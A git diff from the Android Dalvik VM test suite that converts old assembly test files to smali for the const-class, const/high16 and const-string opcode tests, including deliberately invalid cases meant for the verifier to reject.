+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_class_2.java"
+.class  public Ldot/junit/opcodes/const_class/d/T_const_class_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Class;
+.registers 255
+
+       const-class v254, I
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d
deleted file mode 100644
index 50da342..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_3.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-class v3, java/lang/Object
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.smali
new file mode 100644
index 0000000..00ee94b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_3;
+.super Ljava/lang/Object;
+.source "T_const_class_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-class p1, Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d
deleted file mode 100644
index 6f6b7b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_4.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-class v1, java/lang/Object
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.smali
new file mode 100644
index 0000000..95ef518
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_4;
+.super Ljava/lang/Object;
+.source "T_const_class_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    const-class v1, Ljava/lang/Object;
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d
deleted file mode 100644
index 24186a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_5.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-class v254, java/lang/Object
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.smali
new file mode 100644
index 0000000..9058f3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_5;
+.super Ljava/lang/Object;
+.source "T_const_class_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/String;
+    .registers 255
+
+    const-class p0, Ljava/lang/Object;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d
deleted file mode 100644
index bd893c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_6.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Class;
-.limit regs 255
-
-       const-class v254, java/lang/StringNNNNN
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.smali
new file mode 100644
index 0000000..391de7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_6;
+.super Ljava/lang/Object;
+.source "T_const_class_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Class;
+    .registers 255
+
+    const-class p0, Ljava/lang/StringNNNNN;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d
deleted file mode 100644
index 20d9749..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_7.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Class;
-.limit regs 255
-
-       const-class v254, dot/junit/opcodes/const_class/TestStubs
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.smali
new file mode 100644
index 0000000..07a51e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_7;
+.super Ljava/lang/Object;
+.source "T_const_class_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Class;
+    .registers 255
+
+    const-class p0, Ldot/junit/opcodes/const_class/TestStubs;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.d
deleted file mode 100644
index fcc1c2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_high16_1.java
-.class public dot.junit.opcodes.const_high16.d.T_const_high16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 255
-
-       const/high16 v254, 0x12340000
-       return v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali
new file mode 100644
index 0000000..98c2aa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_1.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const/high16 v254, 0x12340000
+       return v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.d
deleted file mode 100644
index e207c68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_high16_3.java
-.class public dot.junit.opcodes.const_high16.d.T_const_high16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/high16 v3, 0x12340000
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali
new file mode 100644
index 0000000..a6398b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_3.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/high16 v3, 0x12340000
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.d
deleted file mode 100644
index f8caefa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_high16_4.java
-.class public dot.junit.opcodes.const_high16.d.T_const_high16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const/high16 v1, 0x12340000
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali
new file mode 100644
index 0000000..5c87013
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_4.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/high16 v1, 0x12340000
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.d
deleted file mode 100644
index 11b3770..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_1.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string v254, "android"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali
new file mode 100644
index 0000000..de6cd62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_1.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.d
deleted file mode 100644
index 773bd80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_3.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-string v3, "abc"
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali
new file mode 100644
index 0000000..674b9cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_3.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-string v3, "abc"
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.d
deleted file mode 100644
index d8b8519..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_4.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-string v1, "abc"
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali
new file mode 100644
index 0000000..97eb08e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_4.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-string v1, "abc"
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.d
deleted file mode 100644
index 1ece763..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_5.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string v254, "android"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali
new file mode 100644
index 0000000..7d5989c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_5.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android"
+       return-object v254
+.end method
+
+
